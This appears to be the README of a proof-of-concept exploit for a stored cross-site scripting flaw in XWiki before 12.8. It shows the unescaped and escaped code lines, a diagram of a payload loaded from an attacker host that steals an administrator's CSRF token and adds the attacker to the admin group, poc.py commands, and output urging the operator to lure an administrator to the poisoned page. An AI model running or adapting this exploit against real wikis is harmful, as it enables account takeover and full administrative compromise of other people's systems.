## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")

## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))

Low-privilege attacker account
        │
        ├─ stores <script src="http://attacker/payload.js"> in Company field
        ▼
  XWiki profile page (poisoned)
        │
        ├─ admin navigates to the page (e.g. via user list or support ticket)
        ▼
  Payload executes in admin browser session
        │
        ├─ fetches /bin/view/XWiki/XWikiAdminGroup  →  extracts CSRF token
        ├─ POSTs form_token + xpage=adduorg + name=attacker  →  adds attacker to XWikiAdminGroup
        │
        ▼
  Attacker now has full admin access

pip install -r requirements.txt

python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

[*] Registering account 'hacker' ...
✅  Registration successful.
[*] Authenticating as 'hacker' ...
✅  Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅  Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅  Payload confirmed in page source.

════════════════════════════════════════════════════════════
  EXPLOIT ARMED — WAITING FOR VICTIM

  Share this URL with (or wait for) an administrator to visit:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  When triggered, the attacker account 'hacker'
  will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker